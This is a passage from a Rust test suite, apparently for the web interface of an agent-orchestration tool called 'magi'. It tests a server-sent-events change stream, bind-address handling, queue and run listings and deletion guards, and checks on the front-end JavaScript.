12016 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12017 hashchange event that may never fire"
12018 );
12019 }
12020
12021 #[tokio::test]
12022 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12023 let f = Fixture::start().await;
12024
12025 let mut socket = tokio::net::TcpStream::connect(f.addr)
12026 .await
12027 .expect("connect");
12028 socket
12029 .write_all(
12030 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12031 )
12032 .await
12033 .expect("write request");
12034
12035 let mut seen = String::new();
12038 let mut buf = [0u8; 1024];
12039 while !seen.contains("event: change") {
12040 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12041 .await
12042 .expect("the stream must speak within five seconds")
12043 .expect("read");
12044 assert!(read > 0, "the server closed the change stream: {seen}");
12045 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12046 }
12047
12048 assert!(
12049 seen.to_lowercase()
12050 .contains("content-type: text/event-stream"),
12051 "the browser only reconnects automatically for a real SSE stream: {seen}"
12052 );
12053 let data = seen
12054 .lines()
12055 .find_map(|l| l.strip_prefix("data:"))
12056 .expect("a data line");
12057 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12058 assert!(
12059 payload["queue_rev"].is_u64()
12060 && payload["runs_rev"].is_u64()
12061 && payload["questions_rev"].is_u64()
12062 && payload["talks_rev"].is_u64()
12063 && payload["notifications_rev"].is_u64()
12064 && payload["loop_rev"].is_u64(),
12065 "the client needs one revision per store to know what to refetch, \
12066 and `talks_rev` is the only notification a standing talk gets - a \
12067 phone whose radio slept through a turn learns about it here, as \
12068 does one whose operator started the loop from another device: \
12069 {payload}"
12070 );
12071
12072 let health = f.get("/api/health").await.json();
12079 for key in [
12080 "queue_rev",
12081 "runs_rev",
12082 "questions_rev",
12083 "talks_rev",
12084 "notifications_rev",
12085 "loop_rev",
12086 ] {
12087 assert!(
12088 health[key].is_u64(),
12089 "health is the change stream's fallback and is missing `{key}`: {health}"
12090 );
12091 }
12092 }
12093
12094 #[tokio::test]
12095 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12096 let f = Fixture::start().await;
12097 let before = f.get("/api/health").await.json()["talks_rev"]
12098 .as_u64()
12099 .expect("talks_rev");
12100
12101 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12102 std::thread::sleep(Duration::from_millis(10));
12103 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12104 on_disk.turns.push(crate::talk::Turn {
12105 who: crate::talk::Who::Operator,
12106 body: "a new turn".to_owned(),
12107 at: Timestamp::now(),
12108 attachments: Vec::new(),
12109 usage: None,
12110 });
12111 f.talks().put(&mut on_disk).expect("record a turn");
12112
12113 let after = f.get("/api/health").await.json()["talks_rev"]
12114 .as_u64()
12115 .expect("talks_rev");
12116 assert_ne!(
12117 before, after,
12118 "a phone must be able to notice a talk's reply without polling every store"
12119 );
12120 }
12121
12122 #[test]
12123 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12124 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12128 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12129 }
12130 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12131 assert!("everywhere".parse::<Bind>().is_err());
12132 }
12133
12134 #[test]
12135 fn an_explicit_bind_address_is_taken_verbatim() {
12136 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12137
12138 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12139
12140 assert_eq!(addr, asked);
12141 assert!(
12142 warning.is_none(),
12143 "an operator who named an address gets no lecture"
12144 );
12145 }
12146
12147 #[test]
12148 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12149 let (addr, warning) = resolve_bind(&Bind::Auto);
12150
12151 match addr {
12158 IpAddr::V4(ip) if is_tailnet(&ip) => {
12159 assert!(warning.is_none(), "a tailnet address needs no warning");
12160 }
12161 other => {
12162 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12163 let warning = warning.expect("a fallback has to explain itself");
12164 assert!(
12165 warning.contains("127.0.0.1") && warning.contains("local-only"),
12166 "the warning says what happened and what it costs: {warning}"
12167 );
12168 }
12169 }
12170 }
12171
12172 #[test]
12173 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12174 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12178 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12179 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12180 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12181 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12182 }
12183
12184 #[test]
12185 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12186 let ids = vec![
12187 "20260902-140501-aaaa".to_owned(),
12188 "20260902-140502-aabb".to_owned(),
12189 ];
12190
12191 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12192 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12193 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12194
12195 assert_eq!(missing.status, StatusCode::NOT_FOUND);
12196 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12197 assert_eq!(short, "20260902-140502-aabb");
12198 }
12199 #[tokio::test]
12200 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12201 let fx = Fixture::start().await;
12207 let id = panel(
12208 &fx,
12209 "<img src=\"shot.png\">",
12210 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12211 );
12212
12213 let doc = fx
12215 .get(&format!("/api/questions/{id}/panel/index.html"))
12216 .await;
12217 assert_eq!(doc.status, 200, "{}", doc.body);
12218 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12219
12220 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12221 assert_eq!(sibling.status, 200, "{}", sibling.body);
12222 assert_eq!(sibling.header("content-type"), Some("image/png"));
12223 assert_eq!(
12224 sibling.header("content-security-policy"),
12225 Some(PANEL_CSP),
12226 "the sibling route must carry the same policy as the asset route"
12227 );
12228
12229 assert_eq!(
12232 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12233 200
12234 );
12235 }
12236
12237 #[test]
12238 fn delta_stamps_cover_add_update_remove_and_noop() {
12239 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12240 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12241 let delta = diff_stamps(&before, &after, 42);
12242 assert_eq!(delta.base, 42);
12243 assert_eq!(delta.changed, ["b", "c"]);
12244 assert_eq!(delta.removed, ["a"]);
12245 let same = diff_stamps(&after, &after, 43);
12246 assert!(same.changed.is_empty() && same.removed.is_empty());
12247 assert_ne!(stamps_revision(&before), stamps_revision(&after));
12248 let nanos: Stamps = [("b".into(), (2, 20))].into();
12249 let same_ms: Stamps = [("b".into(), (3, 20))].into();
12250 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12251 assert_eq!(stamps_revision(&Stamps::new()), 0);
12252 }
12253
12254 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12255 std::fs::create_dir_all(home.join("runs")).unwrap();
12256 Arc::new(Ui::new(
12257 Queue::at(home.join("queue")),
12258 Questions::at(home.join("questions")),
12259 Talks::at(home.join("talks")),
12260 home.join("runs"),
12261 home.to_owned(),
12262 PathBuf::from("/repo/magi"),
12263 ))
12264 }
12265
12266 #[tokio::test]
12267 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12268 let home = TempDir::new().unwrap();
12269 let ui = delta_test_ui(home.path());
12270 let mut task = Task::new(
12271 "stream task".into(),
12272 "text".into(),
12273 PathBuf::from("/repo"),
12274 Source::Human,
12275 );
12276 ui.queue.put(&mut task).unwrap();
12277 let response = events(State(ui.clone())).await.into_response();
12278 let mut stream = response.into_body().into_data_stream();
12279 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12280 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12281 .await
12282 .unwrap()
12283 .unwrap()
12284 .unwrap();
12285 let text = String::from_utf8(chunk.to_vec()).unwrap();
12286 let data = text
12287 .lines()
12288 .find_map(|line| {
12289 line.strip_prefix("data: ")
12290 .or_else(|| line.strip_prefix("data:"))
12291 })
12292 .unwrap();
12293 serde_json::from_str(data).unwrap()
12294 }
12295 let initial = change(&mut stream).await;
12296 assert!(initial.get("queue_delta").is_none());
12297 task.instruction.push_str(" changed");
12298 ui.queue.put(&mut task).unwrap();
12299 let updated = change(&mut stream).await;
12300 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12301 assert_eq!(
12302 updated["queue_delta"]["changed"],
12303 serde_json::json!([task.id])
12304 );
12305 assert_eq!(
12306 updated["queue_rev"].as_u64(),
12307 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12308 );
12309 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12310 let removed = change(&mut stream).await;
12311 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12312 assert_eq!(
12313 removed["queue_delta"]["removed"],
12314 serde_json::json!([task.id])
12315 );
12316 }
12317
12318 #[tokio::test]
12319 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12320 let home = TempDir::new().unwrap();
12321 let ui = delta_test_ui(home.path());
12322 let queue = ui.queue.clone();
12323 let query = |ids: Option<&str>| {
12324 Query(ListQuery {
12325 limit: Some(2),
12326 ids: ids.map(str::to_owned),
12327 })
12328 };
12329 let mut root = Task::new(
12330 "root".into(),
12331 "instruction".into(),
12332 PathBuf::from("/repo"),
12333 Source::Human,
12334 );
12335 queue.put(&mut root).unwrap();
12336 let mut blocked = Task::new(
12337 "blocked".into(),
12338 "instruction".into(),
12339 PathBuf::from("/repo"),
12340 Source::Human,
12341 );
12342 blocked.block(vec![root.id.clone()], None);
12343 queue.put(&mut blocked).unwrap();
12344 let whole =
12345 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12346 .unwrap();
12347 let subset = serde_json::to_value(
12348 queue_list(State(ui.clone()), query(Some(&root.id)))
12349 .await
12350 .unwrap()
12351 .0,
12352 )
12353 .unwrap();
12354 assert_eq!(whole, subset, "requested root plus its blocked dependent");
12355 let blockers = serde_json::to_value(
12356 queue_list(State(ui.clone()), query(Some("")))
12357 .await
12358 .unwrap()
12359 .0,
12360 )
12361 .unwrap();
12362 assert_eq!(blockers.as_array().unwrap().len(), 1);
12363 assert_eq!(blockers[0]["id"], blocked.id);
12364 assert_eq!(
12365 blockers[0]["waits_on"],
12366 whole
12367 .as_array()
12368 .unwrap()
12369 .iter()
12370 .find(|row| row["id"] == blocked.id)
12371 .unwrap()["waits_on"]
12372 );
12373
12374 for id in [
12375 "20260902-140501-aaaa",
12376 "20260902-140502-bbbb",
12377 "20260902-140503-cccc",
12378 ] {
12379 write_run(&ui.runs, id, RunStatus::Merged);
12380 }
12381 let old = serde_json::to_value(
12382 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
12383 .await
12384 .unwrap()
12385 .0,
12386 )
12387 .unwrap();
12388 assert!(
12389 old.as_array().unwrap().is_empty(),
12390 "older updates must not enter the window"
12391 );
12392 let newest = serde_json::to_value(
12393 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
12394 .await
12395 .unwrap()
12396 .0,
12397 )
12398 .unwrap();
12399 assert_eq!(newest.as_array().unwrap().len(), 1);
12400 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
12401
12402 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
12403 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
12404 let talks = serde_json::to_value(
12405 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
12406 .await
12407 .unwrap()
12408 .0,
12409 )
12410 .unwrap();
12411 assert_eq!(talks.as_array().unwrap().len(), 1);
12412 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
12413 assert_eq!(
12414 serde_json::to_value(
12415 talks_list(State(ui.clone()), query(Some("")))
12416 .await
12417 .unwrap()
12418 .0
12419 )
12420 .unwrap(),
12421 serde_json::json!([])
12422 );
12423 }
12424
12425 #[tokio::test]
12426 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
12427 async fn delta_payload_benchmark() {
12428 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
12429 let ui = delta_test_ui(&home);
12430 let query = |ids: Option<String>| {
12431 Query(ListQuery {
12432 limit: Some(50),
12433 ids,
12434 })
12435 };
12436 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
12437 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
12438 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
12439 let queue_id = queue
12440 .iter()
12441 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
12442 .unwrap_or(&queue[0])
12443 .task
12444 .id
12445 .clone();
12446 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
12447 .await
12448 .unwrap()
12449 .0;
12450 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
12451 .await
12452 .unwrap()
12453 .0;
12454 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
12455 .await
12456 .unwrap()
12457 .0;
12458 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
12459 eprintln!(
12460 "DELTA_PAYLOAD {}",
12461 serde_json::json!({
12462 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
12463 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
12464 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
12465 "counts": [queue.len(), runs.len(), talks.len()],
12466 "blocked": queue_delta.len() - 1,
12467 })
12468 );
12469 }
12470
12471 #[test]
12472 fn runs_revision_moves_when_deleting_an_older_run() {
12473 let temp = TempDir::new().expect("tempdir");
12474 let runs = temp.path().join("runs");
12475 std::fs::create_dir_all(&runs).expect("create runs dir");
12476
12477 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12478
12479 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12480 std::thread::sleep(Duration::from_millis(10));
12481 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12482
12483 let rev_before = runs_revision(&runs);
12484 assert!(rev_before > 0);
12485
12486 let old_dir = runs.join("20260901-100000-old1");
12487 std::fs::remove_dir_all(&old_dir).expect("remove old run");
12488
12489 let rev_after = runs_revision(&runs);
12490 assert_ne!(
12491 rev_before, rev_after,
12492 "deleting an older run must change the revision so other clients see the deletion"
12493 );
12494 }
12495
12496 fn write_state(runs: &FsPath, state: &RunState) {
12501 let dir = runs.join(&state.id);
12502 std::fs::create_dir_all(&dir).expect("run dir");
12503 std::fs::write(
12504 dir.join("run.json"),
12505 serde_json::to_string_pretty(state).expect("serialize run"),
12506 )
12507 .expect("write run.json");
12508 }
12509
12510 #[test]
12515 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12516 let temp = TempDir::new().expect("tempdir");
12517 let runs = temp.path().join("runs");
12518 std::fs::create_dir_all(&runs).expect("create runs dir");
12519 let mut state = RunState::new(
12520 PathBuf::from("/repo/magi"),
12521 "main".to_owned(),
12522 "0123456789abcdef".to_owned(),
12523 "task".to_owned(),
12524 Config::default(),
12525 );
12526 state.id = "20260902-100000-c0de".to_owned();
12527 write_state(&runs, &state);
12528
12529 let rev_idle = runs_revision(&runs);
12530 std::thread::sleep(Duration::from_millis(10));
12531 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12532 write_state(&runs, &state);
12533 let rev_started = runs_revision(&runs);
12534 assert_ne!(
12535 rev_idle, rev_started,
12536 "a seat starting must move the revision"
12537 );
12538
12539 std::thread::sleep(Duration::from_millis(10));
12540 state.seat_finished("judge-1");
12541 write_state(&runs, &state);
12542 let rev_finished = runs_revision(&runs);
12543 assert_ne!(
12544 rev_started, rev_finished,
12545 "and clearing it again must move the revision a second time"
12546 );
12547 }
12548
12549 #[tokio::test]
12550 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12551 let fx = Fixture::start().await;
12556 let q = fx.queue();
12557
12558 let mut t = Task::new(
12559 "Task".to_owned(),
12560 "Instruction".to_owned(),
12561 PathBuf::from("/repo"),
12562 Source::Human,
12563 );
12564 t.block(
12565 vec!["20260101-000000-dead".to_owned()],
12566 Some("waiting on Task 1".to_owned()),
12567 );
12568 t.answers.push(crate::queue::AnsweredQuestion {
12569 question: "Which backend?".to_owned(),
12570 answer: "SQLite".to_owned(),
12571 });
12572 q.put(&mut t).expect("put t");
12573
12574 let res = fx.get("/api/queue").await;
12575 assert_eq!(res.status, 200);
12576 let list = res.json();
12577 let view = list
12578 .as_array()
12579 .expect("array")
12580 .iter()
12581 .find(|v| v["id"] == t.id)
12582 .expect("task in list");
12583 assert_eq!(view["status_str"], "blocked");
12584 assert_eq!(
12585 view["blocked_by"],
12586 serde_json::json!(["20260101-000000-dead"])
12587 );
12588 assert_eq!(view["block_reason"], "waiting on Task 1");
12589 assert_eq!(view["answers"][0]["question"], "Which backend?");
12590 assert_eq!(view["answers"][0]["answer"], "SQLite");
12591
12592 let res = fx
12596 .post(&format!("/api/queue/{}/hold", t.short()), None)
12597 .await;
12598 assert_eq!(res.status, 200);
12599 let held = res.json();
12600 assert_eq!(held["status_str"], "held");
12601 assert_eq!(held["blocked_by"], serde_json::json!([]));
12602 assert!(held["block_reason"].is_null());
12603 assert_eq!(held["answers"][0]["answer"], "SQLite");
12604 }
12605
12606 #[tokio::test]
12607 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12608 let fx = Fixture::start().await;
12609 let q = fx.queue();
12610 let mk = |title: &str| {
12611 Task::new(
12612 title.to_owned(),
12613 "Instruction".to_owned(),
12614 PathBuf::from("/repo"),
12615 Source::Human,
12616 )
12617 };
12618 let mut root = mk("root");
12619 root.hold_manual(Some("waiting".to_owned()));
12620 q.put(&mut root).unwrap();
12621 let mut mid = mk("mid");
12622 mid.block(vec![root.id.clone()], None);
12623 q.put(&mut mid).unwrap();
12624 let mut leaf = mk("leaf");
12625 leaf.block(vec![mid.id.clone()], None);
12626 q.put(&mut leaf).unwrap();
12627
12628 let list = fx.get("/api/queue").await.json();
12629 let find = |id: &str| {
12630 list.as_array()
12631 .unwrap()
12632 .iter()
12633 .find(|v| v["id"] == id)
12634 .unwrap()
12635 .clone()
12636 };
12637 let leaf_view = find(&leaf.id);
12638 assert_eq!(
12639 leaf_view["waits_on"],
12640 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12641 );
12642 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12643 assert_eq!(
12644 find(&mid.id)["waits_on"],
12645 serde_json::json!([format!("{} (held)", root.short())])
12646 );
12647 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12648 }
12649
12650 #[tokio::test]
12651 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12652 let fx = Fixture::start().await;
12653 let q = fx.queue();
12654
12655 let mut t1 = Task::new(
12657 "Task 1".to_owned(),
12658 "Instruction 1".to_owned(),
12659 PathBuf::from("/repo"),
12660 Source::Human,
12661 );
12662 let run_id = "20260901-000000-r111";
12663 t1.runs.push(run_id.to_owned());
12664 write_run(&fx.runs(), run_id, RunStatus::Merged);
12665 q.put(&mut t1).expect("put t1");
12666
12667 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12669 assert_eq!(res.status, 204);
12670 assert!(res.body.is_empty(), "204 No Content has no body");
12671 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12672 assert!(
12673 fx.runs().join(run_id).exists(),
12674 "run directory must not be deleted when its task is deleted"
12675 );
12676
12677 let mut t2 = Task::new(
12679 "Task 2".to_owned(),
12680 "Instruction 2".to_owned(),
12681 PathBuf::from("/repo"),
12682 Source::Human,
12683 );
12684 t2.status = TaskStatus::Running;
12685 q.put(&mut t2).expect("put t2");
12686 let mut beat = crate::daemon::Status::new();
12687 beat.current = vec![crate::daemon::Current {
12688 task: t2.id.clone(),
12689 run: "20260901-000000-r222".to_owned(),
12690 }];
12691 beat.updated_at = jiff::Timestamp::now();
12692 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12693 .expect("publish a heartbeat");
12694 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12695 assert_eq!(res.status, 409);
12696 assert!(
12697 res.json()["error"]
12698 .as_str()
12699 .unwrap()
12700 .contains("live daemon")
12701 );
12702 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12703
12704 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12710 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12711 .expect("leave a stale heartbeat");
12712 let mut t3 = Task::new(
12713 "Task 3".to_owned(),
12714 "Instruction 3".to_owned(),
12715 PathBuf::from("/repo"),
12716 Source::Human,
12717 );
12718 t3.status = TaskStatus::Running;
12719 q.put(&mut t3).expect("put t3");
12720 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12721 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12722 assert_eq!(res.status, 204);
12723 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12724 assert!(
12725 q.claim(&t3.id).is_ok(),
12726 "the stale lock went with it, so the id is claimable again"
12727 );
12728
12729 let res = fx.delete("/api/queue/nonexistent").await;
12731 assert_eq!(res.status, 404);
12732 }
12733
12734 #[tokio::test]
12735 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
12736 let fx = Fixture::start().await;
12737 let runs = fx.runs();
12738
12739 let run_id = "20260901-000000-fold";
12741 let mut state = RunState::new(
12742 PathBuf::from("/repo"),
12743 "main".to_owned(),
12744 "abc".to_owned(),
12745 "instruction".to_owned(),
12746 Config::default(),
12747 );
12748 state.id = run_id.to_owned();
12749 state.status = RunStatus::Merged;
12750 state.candidates.push(crate::run::Candidate {
12751 index: 0,
12752 label: 'A',
12753 agent: "a".to_owned(),
12754 branch: "b".to_owned(),
12755 worktree: PathBuf::from("/w"),
12756 summary: String::new(),
12757 stat: String::new(),
12758 files: 1,
12759 commits: 1,
12760 empty: false,
12761 failed: None,
12762 verified_noop: None,
12763 duration_ms: 0,
12764 folded: true,
12765 });
12766 let dir = runs.join(run_id);
12767 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
12768 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
12769 .expect("write artifact");
12770 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12771 .expect("write run.json");
12772
12773 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12775 assert_eq!(res.status, 204);
12776 assert!(res.body.is_empty(), "204 has no body");
12777 assert!(!dir.exists(), "run directory and artifacts must be deleted");
12778
12779 let run_running = "20260901-000000-rung";
12784 write_run(&runs, run_running, RunStatus::Prep);
12785 let mut beat = crate::daemon::Status::new();
12786 beat.current = vec![crate::daemon::Current {
12787 task: "20260901-000000-task".to_owned(),
12788 run: run_running.to_owned(),
12789 }];
12790 beat.updated_at = jiff::Timestamp::now();
12791 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12792 .expect("publish a heartbeat");
12793 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12794 assert_eq!(res.status, 409);
12795 assert!(
12796 res.json()["error"]
12797 .as_str()
12798 .unwrap()
12799 .contains("live daemon"),
12800 "the refusal must say who is holding it"
12801 );
12802 assert!(
12803 runs.join(run_running).exists(),
12804 "a run in flight keeps its directory"
12805 );
12806
12807 let run_unfolded = "20260901-000000-unfd";
12809 let mut state2 = RunState::new(
12810 PathBuf::from("/repo"),
12811 "main".to_owned(),
12812 "abc".to_owned(),
12813 "instruction".to_owned(),
12814 Config::default(),
12815 );
12816 state2.id = run_unfolded.to_owned();
12817 state2.status = RunStatus::Ready;
12818 state2.candidates.push(crate::run::Candidate {
12819 index: 0,
12820 label: 'A',
12821 agent: "a".to_owned(),
12822 branch: "b".to_owned(),
12823 worktree: PathBuf::from("/w"),
12824 summary: String::new(),
12825 stat: String::new(),
12826 files: 1,
12827 commits: 1,
12828 empty: false,
12829 failed: None,
12830 verified_noop: None,
12831 duration_ms: 0,
12832 folded: false,
12833 });
12834 let dir2 = runs.join(run_unfolded);
12835 std::fs::create_dir_all(&dir2).expect("create dir2");
12836 std::fs::write(
12837 dir2.join("run.json"),
12838 serde_json::to_string(&state2).unwrap(),
12839 )
12840 .expect("write run.json");
12841
12842 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12843 assert_eq!(res.status, 409);
12844 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12845 assert!(dir2.exists(), "unfolded run directory is kept");
12846
12847 let res = fx.delete("/api/runs/nonexistent").await;
12849 assert_eq!(res.status, 404);
12850 }
12851
12852 #[test]
12861 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12862 let start = APP_JS
12863 .find("function renderStats() {")
12864 .expect("renderStats");
12865 let end = start
12866 + APP_JS[start..]
12867 .find("function statsTile(")
12868 .expect("the next top-level function");
12869 let body = &APP_JS[start..end];
12870
12871 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12872 let gate_end = gate_start
12873 + body[gate_start..]
12874 .find("}\n renderStatsQueue")
12875 .expect("the gate's own closing brace, right before the unconditional call");
12876 let gated = &body[gate_start..gate_end];
12877
12878 assert_eq!(
12879 body.matches("renderStatsQueue(").count(),
12880 1,
12881 "renderStats must call renderStatsQueue exactly once: {body}"
12882 );
12883 assert!(
12884 !gated.contains("renderStatsQueue"),
12885 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12886 run-derived panels on an empty run history - the queue panel has to render \
12887 regardless: {gated}"
12888 );
12889 }
12890
12891 #[test]
12892 fn web_ui_delete_contract_in_front_end() {
12893 assert!(APP_JS.contains("deleteRun:"));
12895 assert!(APP_JS.contains("deleteTask:"));
12896
12897 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12899 ..APP_JS.find("function renderRuns").unwrap()];
12900 assert!(!run_cards_slice.to_lowercase().contains("delete"));
12901
12902 assert!(APP_JS.contains("renderRunDelete"));
12904 assert!(APP_JS.contains("runDeleteReason"));
12905 assert!(APP_JS.contains("magi fold"));
12906 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12907
12908 assert!(APP_JS.contains("cancel.focus"));
12910 assert!(APP_JS.contains("armedRunDelete"));
12911 assert!(APP_JS.contains("renderTaskDeleteBox"));
12912 assert!(APP_JS.contains("armed${cap(key)}"));
12913
12914 assert!(APP_JS.contains("disabled: status === \"running\""));
12916 }
12917
12918 #[test]
12938 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12939 let build = APP_JS
12940 .find("function createRunCard")
12941 .expect("createRunCard exists");
12942 let update = APP_JS
12943 .find("function updateRunCard")
12944 .expect("updateRunCard exists");
12945 let end = APP_JS
12946 .find("function renderRuns")
12947 .expect("renderRuns exists");
12948
12949 let builder = &APP_JS[build..update];
12951 let open = builder.find("refs = {").expect("createRunCard sets refs");
12952 let literal = &builder[open + "refs = {".len()..];
12953 let close = literal.find('}').expect("the refs literal is closed");
12954 let published: HashSet<&str> = literal[..close]
12955 .split(',')
12956 .filter_map(|entry| entry.split(':').next())
12958 .map(str::trim)
12959 .filter(|name| !name.is_empty())
12960 .collect();
12961 assert!(
12962 published.len() > 5,
12963 "the refs literal did not parse into names: {published:?}"
12964 );
12965
12966 let mut used: Vec<&str> = Vec::new();
12969 let updaters = &APP_JS[update..end];
12970 for (at, _) in updaters.match_indices("r.") {
12971 let before = updaters[..at].chars().next_back();
12974 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12975 continue;
12976 }
12977 let rest = &updaters[at + 2..];
12978 let len = rest
12979 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12980 .unwrap_or(rest.len());
12981 if len > 0 {
12982 used.push(&rest[..len]);
12983 }
12984 }
12985 assert!(
12986 used.len() > 5,
12987 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12988 );
12989
12990 let missing: Vec<&str> = used
12991 .iter()
12992 .copied()
12993 .filter(|name| !published.contains(name))
12994 .collect();
12995 assert!(
12996 missing.is_empty(),
12997 "a run card's updater reaches for {missing:?}, which `createRunCard` \
12998 never put in `refs` - every card will throw and the list will \
12999 render empty under a count line that says otherwise. Published: \
13000 {published:?}"
13001 );
13002 }
13003
13004 #[tokio::test]
13005 async fn folding_from_the_phone_reports_what_it_removed() {
13006 let fx = Fixture::start().await;
13007 let runs = fx.runs();
13008
13009 let id = "20260901-000000-fold";
13013 write_run(&runs, id, RunStatus::Stalled);
13014 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13015 assert_eq!(res.status, 200);
13016 assert_eq!(res.json()["removed_count"], 0);
13017 assert_eq!(res.json()["run"], id);
13018 assert!(
13019 runs.join(id).exists(),
13020 "a fold keeps the run's record; only the worktrees go"
13021 );
13022 }
13023
13024 #[tokio::test]
13025 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13026 let fx = Fixture::start().await;
13027 let runs = fx.runs();
